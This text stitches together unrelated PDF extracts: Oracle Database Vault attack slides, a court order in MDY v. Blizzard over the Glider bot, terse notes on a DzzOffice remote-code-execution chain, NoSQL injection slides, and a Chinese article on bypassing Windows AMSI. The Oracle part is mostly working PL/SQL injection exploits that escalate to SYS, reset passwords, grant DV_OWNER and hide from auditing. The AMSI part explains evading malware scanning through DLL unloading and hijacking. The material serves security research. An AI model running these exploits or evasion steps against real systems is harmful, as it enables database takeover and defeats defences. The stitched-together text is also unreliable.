P_WORKSPACE := '''||ONEUSER.SQLI()||''';
SYS.LT.CREATEWORKSPACE(P_WORKSPACE, FALSE, '', FALSE);
SYS.LT.REMOVEWORKSPACE(P_WORKSPACE, FALSE);
END;
/
SQL Injection - Examples
• Cursor Injection can’t be used this way:
DECLARE
P_WORKSPACE VARCHAR2(32767);
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC, 'declare pragma autonomous_transaction; begin
sys.kupp$proc.change_user(''MACSYS''); execute immediate ''alter
user macsys identified by anypass''; commit;end;',0);
P_WORKSPACE := '''||(dbms_sql.execute('||myc||'))--';
SYS.LT.CREATEWORKSPACE(P_WORKSPACE, FALSE, '', FALSE);
SYS.LT.REMOVEWORKSPACE(P_WORKSPACE, FALSE);
END;
/
SQL Injection - Examples
• Accessing objects protected by Realms exploiting vulnerability in
SYS.LTADM (Fixed CPU-OCT-08):
DECLARE
P_INSTATE VARCHAR2(32767);
BEGIN
P_INSTATE := '''||to_char(dbms_xmlquery.getxml(''declare pragma
autonomous_transaction; begin update hr.employees set
salary=50000 where employee_id=205;commit;end;'',0))||''';
SYS.LTADM.COMPRESSSTATE(P_INSTATE, 1);
END;
/
SQL Injection - Examples
CREATE OR REPLACE FUNCTION "ONEDBA"."SQLI" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
execute immediate 'begin insert into sys.sysauth$ values ((select
user# from user$ where name = ''ONEDBA''),(select user# from user$
where name = ''DV_OWNER''),999,null); end;';
commit;
return '';
END;
/
EXEC SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET('EX01''||ONEDBA.sqli||''');
SQL Injection - Examples
•
Analyzing the vulnerable code we can see that it can be exploited
without creating an auxiliary function (the SQL injection is inside a
PL/SQL block instead of a DML sentence).
SELECT PIECE, U.USERNAME, ST.SQL_TEXT FROM V$SQLAREA SA, V$SQLTEXT
ST, DBA_USERS U WHERE SA.ADDRESS = ST.ADDRESS AND SA.HASH_VALUE =
ST.HASH_VALUE AND SA.PARSING_USER_ID = U.USER_ID AND
ST.HASH_VALUE IN (select HASH_VALUE from V$SQLTEXT where SQL_TEXT
LIKE '%EX01%') ORDER BY ST.ADDRESS, ST.HASH_VALUE, ST.PIECE
0 SYS begin sys.dbms_application_info.set_module(module_name=>'DBMS_CD
1 SYS C_PUBLISH.ADVANCE',action_name=>'EX01'||ONEDBA.SQLI||'');end;
SQL Injection - Examples
EXEC SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET('''); begin
sys.kupp$proc.change_user(''MACSYS''); end; execute immediate
''alter user MACSYS identified by anypass''; commit; end;--');
•
Results in the following code executed as SYS:
begin
sys.dbms_application_info.set_module(module_name=>'DBMS_CDC_PUBLI
SH.ADVANCE',action_name=>''); begin
sys.kupp$proc.change_user('MACSYS'); end; execute immediate
'alter user MACSYS identified by anypass'; commit; end;--');end;
Vulnerabilities specific to Oracle DB Vault
• NLS_LANGUAGE Realm protection bypass (Fixed)
Changing the NLS_LANGUAGE session parameter to anything different
than AMERICAN disables Database Vault Realm protection for DDL
commands.
• Some issues pending to fix
Affecting Oracle Database Vault Administrator web console.
Allowing to compromise DB Vault from DV_ACCTMGR role.
Vulnerabilities specific to Oracle DB Vault
SQL> connect onedba/onedba
Connected.
SQL> drop table hr.jobs cascade constraints;
drop table hr.jobs cascade constraints
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-47401: Realm violation for drop table on HR.JOBS
ORA-06512: at "DVSYS.AUTHORIZE_EVENT", line 55
ORA-06512: at line 13
SQL> alter session set NLS_LANGUAGE="LATIN AMERICAN SPANISH";
Session altered.
SQL> drop table hr.jobs cascade constraints;
Table dropped.
Oracle Database Auditing and SYS user
• SYS user is not audited in the same way than other users:
AUDIT_SYS_OPERATIONS init parameter must be TRUE.
All SQL statements issued in a SYSDBA/SYSOPER connection are audited
with the SQL Text in OS audit trail.
o The Auditing configuration done with AUDIT statement doesn’t have any effect
on SYS auditing.
Statements executed inside stored procedures are NOT audited.
SYS.KUPP$PROC.CHANGE_USER (BECOME USER) is audited even if it’s
used inside a SP.
SYS.DBMS_SYS_SQL.PARSE_AS_USER is not audited if used inside a SP.
Oracle Database Auditing and SYS user
• What about SQL injection running as SYS?
The vulnerable procedure execution is audited
o Audit of SP executions is not commonly enabled.
o It will appear just as a SP execution and the statements executed as the
privileged (SYS) user will not be audited.
o Only if the Extended auditing (with SQL Text) is enabled the statements can be
seen as a string in the SP call parameters.
Oracle Database Auditing and SYS user
• What about SQL injection running as SYS?
If the SQL Injection exploit requires to create a function then this will also
be audited.
o There are some techniques that avoids the need to create a function.
o Function can be created wrapped to make it more difficult to know what is
doing, something like:
create or replace procedure oneuser.sqli wrapped
a000000
b2
abcd
7
37 6d
VqEweimFLXnpdhTHG8WS4ZVL2V0wg5nnm7+fMr2ywFwWULgruDO4dCDXpXQruM
Ay/tJeuPC4
MsuyUlyl0oEyMgj1NsJuO5Rxc3HYiKaJzbK1
/
Additional protection measures
• Be aware that some system privileges can lead to full database
compromise:
BECOME USER
CREATE [ANY] LIBRARY
EXECUTE ANY PROCEDURE
CREATE ANY PROCEDURE
EXECUTE on SYS owned objects.
o Default roles like SELECT_CATALOG_ROLE, EXECUTE_CATALOG_ROLE, DBA
has excessive EXECUTE privileges.
•
SELECT u.name username, pm.name priv
FROM sys.sysauth$ sa, sys.user$ u, sys.system_privilege_map pm
WHERE privilege# in (-188, -189, -21, -140, -141, -144) AND u.user# =
grantee# AND pm.privilege = sa.privilege# ORDER BY u.name
•
SELECT * FROM sys.system_privilege_map
Additional protection measures
• NEVER use default Oracle users or roles
Usually have more privileges than needed and can change from release to
release.
Create your own users and grant only the required privileges through your
own roles.
Exception: Database Vault default roles (like DV_OWNER and
DV_ACCTMGR).
•
Change the External Job OS user
In Unix/Linux: Can be specified in $OH/rdbms/admin/externaljob.ora
In windows: Change the authentication user defined in the external job service
•
Follow the security considerations in Database Vault Documentation
but be aware that it is not enough.
Conclusions
• The Separation of duty provided by Database Vault can be
bypassed.
• System privileges can lead to full DB compromise or privilege
escalation
CREATE LIBRARY/PROCEDURE; CREATE/EXECUTE ANY PROCEDURE
• Database Auditing can be bypassed by SYS user or exploiting
SQL injection.
Conclusions
• Oracle should move components out of the SYS schema
There are some components that do not need to be in the SYS schema.
They are doing something in this direction: Oracle Workspace Manager
was moved from SYS to WMSYS.
o Accessed through DBMS_WM public synonym
o Implemented in packages LT, LTADM, LTRIC.
• Oracle Database Vault is improving its security and usability in
new releases
More restrictions for SYS user.
More functionality and tools can be used with DV enabled.
Documentation
•
Oracle documentation for Database Vault:
10.2: http://download.oracle.com/docs/cd/B19306_01/server.102/b25166/toc.htm
11.1: http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/toc.htm
11.2: http://download.oracle.com/docs/cd/E11882_01/server.112/e10576/toc.htm
END
• Questions?
• Thank You.
• Contact: esteban>at<argeniss>dot<com | pdf |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
WO
IN THE UNITED STATES DISTRICT COURT
FOR THE DISTRICT OF ARIZONA
MDY Industries, LLC,
Plaintiff/Counterdefendant,
vs.
Blizzard Entertainment, Inc.; and
Vivendi Games, Inc.,
Defendants/Counterclaimants.
_________________________________
Blizzard Entertainment, Inc.; and
Vivendi Games, Inc.,
Third-Party Plaintiffs,
vs.
Michael Donnelly,
Third-Party Defendant.
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
)
No. CV-06-2555-PHX-DGC
ORDER AND
PERMANENT INJUNCTION
This case concerns the World of Warcraft computer game (“WoW”) and a software
program known as Glider that plays WoW for its owners while those owners are away from
their computer keyboards. MDY Industries, Inc. (“MDY”), the owner and distributor of
Glider, sought a declaratory judgment that Glider does not infringe rights owned by Blizzard
Entertainment, Inc. and Vivendi Games, Inc. (collectively, “Blizzard”), the owners and
distributors of WoW. Dkt. #5. Blizzard filed a counterclaim and a third-party complaint
against Michael Donnelly, the founder of MDY. Blizzard asserted seven claims: tortious
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 2 -
interference with contract, contributory copyright infringement, vicarious copyright
infringement, violation of the Digital Millennium Copyright Act (“DMCA”), trademark
infringement, unfair competition, and unjust enrichment. Dkt. #10.
The Court granted in part the parties’ summary judgment motions. The Court held
MDY liable to Blizzard for tortious interference with contract, contributory copyright
infringement, and vicarious copyright infringement. The Court granted summary judgment
to MDY on the portion of Blizzard’s claim based on the DMCA that applied to Blizzard’s
game client software code. The Court also granted summary judgment in favor of MDY on
Blizzard’s unfair competition claim. Dkt. #82.
Blizzard filed a motion for a permanent injunction on its tortious interference and
copyright infringement claims. Dkt. #84. The Court denied the motion without prejudice.
Dkt. #91.
Following this ruling, Blizzard dismissed its trademark infringement and unjust
enrichment claims and the parties stipulated that Blizzard would recover $6,000,000 in
damages from MDY on the tortious interference and copyright infringement claims if any
one of those claims is affirmed on appeal. Dkt. ##94-95. The parties agreed that the Court
should hold a bench trial to decide the remaining claims under the DMCA, whether Donnelly
is personally liable to Blizzard, and whether Blizzard is entitled to a permanent injunction.
Dkt. ##92, 96.
The bench trial was held on January 8 and 9, 2009. Dkt. ##100-02. The Court issued
an order setting forth its findings of fact and conclusions of law on January 28, 2009. The
Court concluded that MDY is liable under the DMCA, that Donnelly is personally liable for
MDY’s tortious interference, copyright infringement, and DMCA violations, and that
Blizzard is entitled to a permanent injunction. Dkt. #108.
As requested by the Court (see id. at 22), the parties have filed memoranda addressing
three issues: (1) the scope of the injunction, (2) whether the injunction should be stayed
pending appeal, and (3) what bond should be imposed for Blizzard’s protection pending
appeal. Dkt. ##109, 111.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 3 -
I.
Scope of the Injunction.
Injunctive relief “is historically ‘designed to deter, not punish[.]’” Rondeau v.
Mosinee Paper Corp., 422 U.S. 49, 62 (1975) (citation omitted). In issuing a permanent
injunction, “a district court should only include injunctive terms that have a common sense
relationship to the needs of the specific case, and the conduct for which a defendant has
been held liable.” MGM Studios, Inc. v. Grokster, Ltd., 518 F. Supp. 2d 1197, 1126-27 (C.D.
Cal. 2007) (citing NLRB v. Express Publ’g Co., 312 U.S. 426, 435 (1941)). “‘[B]lanket
injunctions to obey the law are disfavored.’” Id. at 1226 (citation omitted).
MDY has been found liable for tortious interference with the contract between
Blizzard and WoW users, contributory and vicarious infringement of Blizzard’s copyrights
in WoW, and violations of the DMCA. See Dkt. ##82, 108. The Court will enjoin MDY
from engaging in acts “which are the same type and class as [the] unlawful acts which the
[C]ourt has found to have been committed” by MDY. Express Publ’g Co., 312 U.S. at 435;
see Rondeau 422 U.S. at 62 (injunctive relief was designed “to permit the court ‘to mould
each decree to the necessities of the particular case’”) (citation omitted); Aluminum Workers
Int’l Union v. Consol. Aluminum Corp., 696 F.2d 437, 446 (6th Cir. 1982) (“the scope of
relief should be strictly tailored to accomplish only that which the situation specifically
requires”). To ensure that the injunctions are specifically tailored, separate injunctions are
set forth at the end of this order for (1) the copyright and DMCA claims and (2) the tortious
interference claim.
II.
Stay of Injunction Pending Appeal.
MDY seeks a stay of the injunctions pending appeal. Dkt. #111. The Court has
discretion to grant a stay pursuant to Rule 62(c) of the Federal Rules of Civil Procedure.
Such a stay “is an extraordinary remedy that should be granted sparingly.” Ariz. Contractors
Ass’n, Inc. v. Candelaria, No. CV07-02496-PHX-NVW, 2008 WL 486002, at *1 (D. Ariz.
Feb. 19, 2008) (citations omitted); see In re GTI Capital Holdings, LLC, No. 03-07923-SSC,
2008 WL 961112, at *6 (D. Ariz. Bankr. Apr. 4, 2008). MDY “carries a heavy burden to
demonstrate that the stay is warranted.” McCammon v. United States, 584 F. Supp. 2d 193,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 4 -
197 (D.D.C. 2008); see Winston-Salem/Forsyth County Bd. of Educ. v. Scott, 404 U.S. 1221,
1231 (1971) (Burger, C.J.). MDY must show either (1) “‘a probability of success on the
merits and the possibility of irreparable injury’” or (2) “‘that serious legal questions are
raised and that the balance of hardships tips sharply in its favor.’” Golden Gate Rest. Ass’n
v. City & County of S.F., 512 F.3d 1112, 1115-16 (9th Cir. 2008) (citations omitted); see
Stormans Inc. v. Selecky, 526 F.3d 406, 408 (9th Cir. 2008); Hilton v. Braunskill, 481 U.S.
770, 776 (1987). The Court must also consider whether a stay will harm Blizzard and
whether the public interest supports the issuance of a stay. See id.
A.
Stay of the Copyright and DMCA Claims.
1.
Likelihood of Success or Serious Questions Raised on Appeal.
MDY and Donnelly assert that serious questions exist concerning the correctness of
the Court’s ruling on the copyright and DMCA claims, and even attach draft articles and
third-party commentary suggesting that the Court’s rulings are incorrect. Dkt. #111-3. The
Court fully recognizes that these issues are debatable and that reasonable minds can disagree
on whether the copyright and DMCA claims were decided correctly. See Dkt. #108 at 22.
The Court has applied binding Ninth Circuit law on the scope of a license (Dkt. #82 at 6-12),
whether purchasers of WoW software “own” the software for purposes of 17 U.S.C. § 117(a)
(Dkt. #82 at 13-16), and whether copying to RAM constitutes “copying” for purposes of the
Copyright Act (Dkt. #82 at 6 & n. 4). The Court recognizes that the Ninth Circuit may
choose to reconsider its position on some or all of these issues during the appeal of this case.
The Court therefore concludes that the appeal will raise serious questions concerning the
copyright and DMCA claims.
2.
Balance of Hardships.
The Court must decide whether the balance of hardships tips sharply in favor of MDY
and Donnelly. See Golden Gate Rest. Ass’n, 512 F.3d at 1115-16. The Court concludes that
it does. Although Blizzard spends approximately $83,000 per month combating Glider and
other bots, MDY and Donnelly note that Blizzard makes approximately $1,500,000 per
month from WoW. The quantifiable injury to Blizzard from staying the injunction will thus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 5 -
amount to less than one-tenth of one percent of its monthly revenue. MDY and Donnelly,
by contrast, would likely be put out of business by the permanent injunction. Even if the
permanent injunction ultimately is eliminated on appeal, MDY and Donnelly likely will have
lost all of their market share to competitors during the duration of the appeal and will be
unable to regain their business. Given the serious questions to be raised on appeal by the
copyright and DMCA claims, the Court concludes that the hardships to be suffered by MDY
and Donnelly from a permanent injunction substantially outweigh the hardships to be
suffered by Blizzard if the injunction is stayed pending appeal. See In re Hayes
Microcomputer Prods., Inc. Patent Litig., 766 F. Supp. 818, 823 & n.4 (N.D. Cal. 1991)
(balance of hardships favored stay of injunction where the defendants “could conceivably be
put out of business before an appeal is even heard”).
3.
Public Interest.
As the Court previously has noted, public interest would seem to favor preservation
of Blizzard’s copyright interests and termination of the exploitation of WoW by MDY and
Donnelly. Dkt. #82 at 24-25. On the other hand, the Court of Appeals may change its
position on pivotal legal issues in this case, resulting in a different outcome. Given that
possibility, the public interest would seem to favor preservation of the status quo pending
resolution of the appeal. The Court concludes that this factor slightly favors Blizzard, but
is not sufficient to overcome the serious questions and balance of hardships that favor entry
of a stay. The Court therefore concludes that the permanent injunction based on the
copyright and DMCA violations should be stayed pending appeal.
B.
Tortious Interference.
The law clearly provides that MDY and Donnelly may be enjoined from engaging in
tortious interference. See Restatement (Second) of Torts § 766, cmt. u; Graham v. Mary Kay
Inc., 25 W.W.3d 749, 755 (Tex. Ct. App. 2000) (“Injunctive relief is an appropriate remedy
when a claim of tortious interference is involved.”); Adler, Barish, Daniels, Levin & Creskoff
v. Epstein, 393 A.2d 1175, 436 n.21 (Pa. 1978) (“‘It is well settled that equity will act to
prevent unjustified interference with contractual relations.’”) (citation omitted); Walt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 6 -
Peabody Advertising Serv. v. Pecora, 393 F. Supp. 328, 333 (W.D. Ky. 1975) (“[I]t has been
held that the loss of a contractual customer to a third party who induces the breach of the
contractual relationship constitutes injury for which injunctive relief shall issue.”); Special
Purpose Accounts Receivable Cooperative Corp. v. Prime One Capital Co., 125 F. Supp. 2d
1093, 1106 (S.D. Fla. 2000) (injunctive relief appropriate if the plaintiffs established tortious
interference otherwise “the plaintiff would be compelled to bring a claim against the
defendants each time they interfere with [plaintiffs’] protected rights in the future”); see also
Transgo, Inc. v. Ajac Transmission Parts Corp., 768 F.2d 1001, 1022 (9th Cir. 1985) (“‘An
injunction may be framed to bar future violations that are likely to occur.’”) (citation and
brackets omitted).
MDY and Donnelly do not dispute that injunctive relief may be entered on the tortious
interference claim, nor do they identify serious questions that will be raised by their tortious
interference appeal. They argue instead that serious questions exist with respect to the
copyright and DMCA claims and that “[w]ithout a copyright and DMCA violation, Blizzard
could not meet the elements for tortious interference with contract.” Dkt. #111 at 5 n.14.
The Court does not agree.
To establish tortious interference, Blizzard was required to show that a valid contract
exists between Blizzard and its customers, that MDY and Donnelly know of the contract, that
MDY and Donnelly intentionally and improperly interfere with the contract thereby causing
a breach, and that Blizzard is damaged as a result. See Dkt. #82 at 22 (citations omitted).
MDY and Donnelly conceded most of these elements – that there is a valid contract between
Blizzard and its customers, that they know of the contract, and that the use of Glider breaches
the contract. Nor did MDY and Donnelly genuinely dispute that they intentionally interfere
with the contract by promoting the use of Glider and that Blizzard is damaged as a result.
Id. at 22-23. The key question, then, is whether MDY’s and Donnelly’s actions are improper
as a matter of law. In concluding that they are, the Court did not rely on the fact that Glider
includes copying of Blizzard’s software to RAM (copyright infringement) and circumvents
Warden (DMCA violations). Rather, the Court found MDY and Donnelly’s conduct to be
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 7 -
improper because (1) they profit from the sale of Glider knowing that its use constitutes a
direct breach of Blizzard’s legitimate and substantial contract rights, (2) their interference
causes Blizzard to lose customers and revenue, and (3) the use of Glider by WoW users
upsets the carefully balanced competitive environment of WoW. Id. at 23-26; see Dkt. #108
at 15-16. Thus, even if MDY and Donnelly have raised serious questions regarding their
copyright and DMCA liability, they have not identified such questions on their tortious
interference liability. Nor have they made any effort to show that they are likely to succeed
on the merits of their appeal of the tortious interference claim.
Because MDY and Donnelly have not shown a probability of success on the merits
or that their appeal will raise serious questions concerning the tortious interference claim,
they cannot meet the requirements for a stay pending appeal. See Golden Gate Rest. Ass’n,
512 F.3d at 1115-16. The Court need not address the hardship or public interest aspects of
the stay analysis. See In re Marrama, 345 B.R. 458, 473 (Bankr. D. Mass. 2006); see also
First Brands Corp. v. Fred Meyer, Inc., 809 F.2d 1378, 1385 (9th Cir. 1987).
C.
Stay Summary and Injunction Bond.
The Court concludes that MDY and Donnelly have established their right to a stay of
the permanent injunction regarding the copyright and DMCA claims, but not the permanent
injunction on the tortious interference claim. The Court recognizes that the separate
treatment of these issues likely will have little practical effect. The permanent injunction on
the tortious interference claim will foreclose MDY and Donnelly’s continued marketing,
distribution, and support of Glider for use in WoW. For this reason, the Court concludes that
Blizzard is not likely to be harmed by the stay of the copyright and DMCA injunction, and
no bond is necessary.
III.
Bond for Stay of Damages.
The parties stipulated to a $6,500,000 judgment against MDY and Donnelly on the
tortious interference and copyright infringement claims. Dkt. ##112, 114. Pursuant to
Rule 62(d), MDY and Donnelly may obtain a stay of that judgment pending appeal by
posting a supersedeas bond.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 8 -
A full bond generally is required under Rule 62(d) because the purpose of the bond
“is to secure the appellees from a loss resulting from the stay of execution.” Rachel v.
Banana Republic, Inc., 831 F.2d 1503, 1505 n.1 (9th Cir. 1987); see Nat’l Labor Relations
Bd. v. Westphal, 859 F.2d 818, 819 (9th Cir. 1988). “‘In unusual circumstances, however,
the district court in its discretion may order partially secured or unsecured stays if they do
not unduly endanger the judgment creditor’s interest in ultimate recovery.’” Athridge v.
Iglesias, 464 F. Supp. 2d 19, 23 (D.D.C. 2006) (quoting Fed. Prescription Serv., Inc. v. Am.
Pharm. Ass’n, 636 F.2d 755, 760 (D.C. Cir. 1980)); see Townsend v. Holman Consulting
Corp., 929 F.2d 1358, 1367 (9th Cir. 1991) (“[W]e have held that the district court may
permit security other than a bond.”) (citing Int’l Telemeter v. Hamlin Int’l Co., 754 F.2d
1492, 1495 (9th Cir. 1985)). Where the “‘judgment debtor’s present financial condition is
such that the posting of a full bond would impose an undue financial burden, the court is free
to exercise its discretion to fashion some other arrangement for substitute security through
an appropriate restraint on the judgment debtor’s financial dealings, which would equal
protection to the judgment creditor.’” In re Wymer, 5 B.R. 802, 806 (B.A.P. 9th Cir. 1980)
(citation and alteration omitted).
MDY and Donnelly cannot post anything close to a full bond amount of $6,500,000
and therefore request an alternative form of security for the stay of the monetary judgment
pending appeal. MDY and Donnelly propose that they be required to put all but the
necessary funds to operate MDY for fixed overhead and salaries in an escrow account
monthly and report both monthly income and expenses to Blizzard during the pendency of
the appeal. Dkt. #111 at 8. Donnelly also testified at trial that while he has not set aside a
separate reserve to satisfy the monetary judgment, he has not spent any profits from the sale
of Glider since this litigation began.
The Court concludes that an alternative form of security is appropriate. The appeal
will raise serious questions concerning the copyright and DMCA claims and MDY and
Donnelly have shown that their “‘financial condition is so impaired that [they] would have
difficulty in securing a supersedeas bond.’” In re Wymer, 5 B.R. at 806 (citation omitted).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 9 -
The Court will require MDY and Donnelly to place all profits obtained from the sale of
Glider or other operations of MDY, including all monies set aside by MDY and Donnelly
since the commencement of this suit, in an escrow account approved by Blizzard. Such
funds shall remain in escrow pending further order of the Court. MDY shall report its
monthly income and expenses to Blizzard during the pendency of the appeal. Within 30 days
after all appeals being exhausted, the parties shall file a joint status report regarding the
appropriate disposition of the escrow funds.
IT IS ORDERED:
1.
Copyright and DMCA Permanent Injunction. Having found MDY Industries,
LLC (“MDY”) and Michael Donnelly liable to Blizzard Entertainment, Inc. and Vivendi
Games, Inc. (“Blizzard”) for contributory and vicarious copyright infringement and for
violation of the Digital Millennium Copyright Act (“DMCA”), the Court permanently
enjoins MDY and Michael Donnelly from engaging in contributory or vicarious copyright
infringement and from violating the DMCA with respect to Blizzard’s copyrights in and
rights to the World of Warcraft game (“WoW”). MDY and Donnelly are enjoined from
(a) marketing, selling, supporting, distributing, or developing Glider for use in connection
with WoW; (b) infringing, or contributing to the infringement of, Blizzard’s copyrights in
WoW software; (c) circumventing, or contributing to the circumvention of, Blizzard’s
protection mechanisms that control access to the dynamic, nonliteral elements of WoW,
including but not limited to the circumvention of Warden; and (d) operating or supporting
any server that authenticates copies of Glider for use in WoW or provides Glider with
information about the memory addresses WoW uses to store its game state information. This
permanent injunction shall apply with the same force and effect to any future release of the
World of Warcraft Game Client in which Blizzard has a financial or other interest, which
interest is known to MDY or Donnelly. The permanent injunction set forth in this
paragraph shall be stayed pending appeal.
2.
Tortious Interference Permanent Injunction. Having found MDY and Michael
Donnelly liable to Blizzard for tortious interference with contract, the Court permanently
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
- 10 -
enjoins MDY and Michael Donnelly from tortiously interfering with the End Use License
Agreement (“EULA”) and Terms of Use Agreement (“TOU”) that Blizzard enters into with
its WoW customers. MDY and Donnelly are enjoined from (a) marketing, selling,
supporting, distributing, or developing Glider for use in connection with WoW; or
(b) operating or supporting any server that authenticates copies of Glider for use in WoW or
provides Glider with information about the memory addresses WoW uses to store its game
state information. This permanent injunction shall apply with the same force and effect to
any future release of the WoW Game Client in which Blizzard has a financial or other
interest, which interest is known to MDY or Donnelly. This injunction shall remain in effect
so long as Blizzard’s EULA and TOU clearly prohibit the use of Glider in WoW.
3.
Bond Requirements for Stay of the Money Judgment. MDY and Michael
Donnelly shall place all present and future profits obtained from the sale of Glider or other
operations of MDY, including all monies set aside by MDY and Donnelly from the
commencement of this suit, in an escrow account approved by Blizzard. Such funds shall
remain in escrow pending further order of the Court. MDY shall report its monthly income
and expenses to Blizzard during the pendency of the appeal. Within 30 days after all appeals
being exhausted, the parties shall file a joint status report regarding the appropriate
disposition of the escrow funds.
4.
The Court shall retain jurisdiction to hold proceedings and to enter further
orders as may be appropriate to implement or enforce the provisions of this Order and
Permanent Injunction.
DATED this 10th day of March, 2009. | pdf |
DzzOfficeRCEPHP
dzz/connect/oauth.php
SQLI
$_GET['bz'] dzz_io::authorize()
dzz_io::initIO() $_GET['bz']
io_dzz
io_baiduPCS
io_ALIOSS
io_disk
authorize() io_disk
$this->_xss_check();
$_POST $_GET
$this->_xss_check(); $_POST
Discuz
Discuz
Discuz
authkey random()
Discuz
authkey Discuz Discuz authcode()
authcode()
authkey[-10]
authcode()
dzz/shares/index.php
authcode()
authkey[-10]
authkey[-10]
tpQC
php_mt_seed
php_mt_seed
authkey[-10]
authkey[-10] 16^6*305=5117050880
authkey
authkey
authkey dzzdecode(
core/api/wopi/index.php
RCE
Wopi::PutFile()
IO::setFileContent()
self::clean()
( "\n", "\r", '../') ..././ self::initIO()
$io->setFileContent() io_disk
path
| pdf |
NoSQL, No Injection !?
By. Kuon
Agenda
What is NoSQL?
Types of NoSQL
Who use NoSQL concept?
NoSQL Architecture
Security Problem
Prevention and Detection !?
What is NoSQL?
χ No SQL (statement)
χ No SQL Injection
Not only a SQL
Non-RDBMS
• Semi-structured
• Schema-less
Types of NoSQL
1.
Key-value based
2.
Column-based
3.
Document-based
4.
Graph-based
5.
Object-based
6.
…
Why NoSQL
1.
Performance
2.
Scalability
Who use NoSQL concept?
1.
Cloud Computing
(SaaS Security)
2.
SNS
3.
Portal Website
Mixed Databases
NoSQL Architecture
1.
Web Application & Web Service
2.
Client Library
The key factor
Query-method
3.
NoSQL Database
NoSQL Vulnerabilities
1.
Connection Pollution
2.
JSON Injection
3.
View Injection
4.
Key Bruteforce
NoSQL Vulnerabilities
1.
Connection Pollution
RESTful
Cross-Database/-Pool Access
CouchDB’s Global and DB Handler
Ex:
NoSQL.connect(“http://”.$Pool.”/HIT2010/”)
NoSQL.connect(“http://POOL/”.$Database)
Document-based Problem
(CouchDB)
2.
JSON Injection(Data)
DRY(Don’t Repeat Yourself)
The weakness is String type
•
Using Collection type
escapeJSON()/unescapeJSON()
•
When handling tainted strings
Document-based Problem
(CouchDB)
3.
View Injection(Application)
CouchDB's view is using SpiderMonkey as Scripting Engine
What is “View”? CouchApp
Predefined View and Temporary View
Evil Map/Reduce
Key-Value based Problem
4.
Key Bruteforce
Schema-free
How to make faster attacks?
Depends on implementation of client library & architecture
CHALLENGE:Can I make context-sensitive attack?
http://IP/app/action?key=1aD33rSq
Ex:
$value = NoSQL.Get($key)
Key-Value based Problem
4.
Key Bruteforce Prevention (Application-level)
Key Size
Key Space
Unpredictable Key Generation
Challenge-based
NoSQL vs. WAS
1.
Unknown Error Message
Logic-based Blind Injection when XQL is exist
Time-based Differential Attack?
2.
Different Types of Attack Payload
1. Languages
2. Schema-less
Redefine Attack Surface
(Entry Point Sensitive than RDBMS)
3.
Different Concepts of Attack
NoSQL vs. SCA
1.
Checking by Data Flow,but Diversity
Unsupported Client Library
NoSQL vs. WAF
1.
Key Bruteforce is not Injection Attack
Block by Access Threshold
2.
URL Integrity Check (ex: Add Token)
Transparency
Ex:
http://IP/app/action?key=1aD33rSq[HMAC($key)]
http://IP/app/action?key=1aD33rSq&OTPtoken=sdfg23s0
THANK YOU
[email protected] | pdf |
Bypass AMSI的前世今生(4) - 非主流合集
0x00 前言
分析完了[BA1-4],我相信大家对AMSI已经有了不错的认知,也能够利用混淆bypass AMSI了。今天我
们讨论的是非主流的bypass amsi的合集,也就是[BA5-8],分别如下:
[BA5] 卸载当前进程中的amsi.dll
[BA6] PowerShell.exe同目录下放入傀儡amsi.dll劫持正常amsi.dll(正常amsi.dll存在于
c:\windows\system32\amsi.dll)
[BA7] Null字符绕过
[BA8] COM Server劫持(劫持杀软接入接口)
这些方法曾今都能起到bypass AMSI作用,但是很鸡肋。其中[BA5]实际测试的时候是不行的,
powershell进程要崩溃,其它有的早已修复。
既然有非主流,那么主流手法有哪些呢?这里提一下,目前主流好用的手法为2种,第一种我们已经在
《Bypass AMSI的前世今生(3) - 脚本混淆和一行命令关闭AMSI》种提到的混淆+”一行命令“,另外一种就
是内存补丁,将在下一节讲到。
这一节我们先来测试一遍这4个非主流手法以及他的思路。
0x01 卸载当前进程中的amsi.dll
在前面的文章中,我们知道amsi其实是以dll形式存在的,powershell启动的时候,会加载amsi.dll,然
后调用其中的AmsiScanString或AmsiScanBuffer函数来进行检测(在部分老的win10系统中使用的是
AmsiScanString,较新的系统使用的是AmsiScanBuffer,大约分界线是1709)。
因此我们就有了对抗思路,我们能不能unload amsi.dll呢?这样amsi.dll不存在了,就不能检测到了。
答案是不行的,这样太暴力了,我们深入想,我们unload amsi.dll,powershell使用
AmsiOpenSession的时候,函数指针指向的位置不是真正的AmsiOpenSession代码,就会崩溃。我们
虽然unload了amsi.dll,但是我们的powershell进程也崩了,2败俱伤。我们使用process hacker工具来
测试下。
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-30
No. 1 / 7 - Welcome to www.red-team.cn
调用AmsiOpenSession的时候,直接就崩溃了,因此这种暴力unload的方法是不行的。既然unload不
行我们来看看劫持amsi.dll
0x02 劫持amsi.dll
PowerShell.exe同目录下放入傀儡amsi.dll劫持正常amsi.dll(正常amsi.dll存在于
c:\windows\system32\amsi.dll),这个都不用过多解释,常规的dll劫持技术,由于研发人员使用
LoadLibrary函数导入dll的时候没有使用绝对路径,因此程序会首先在当前目录下寻找dll,因此我们在
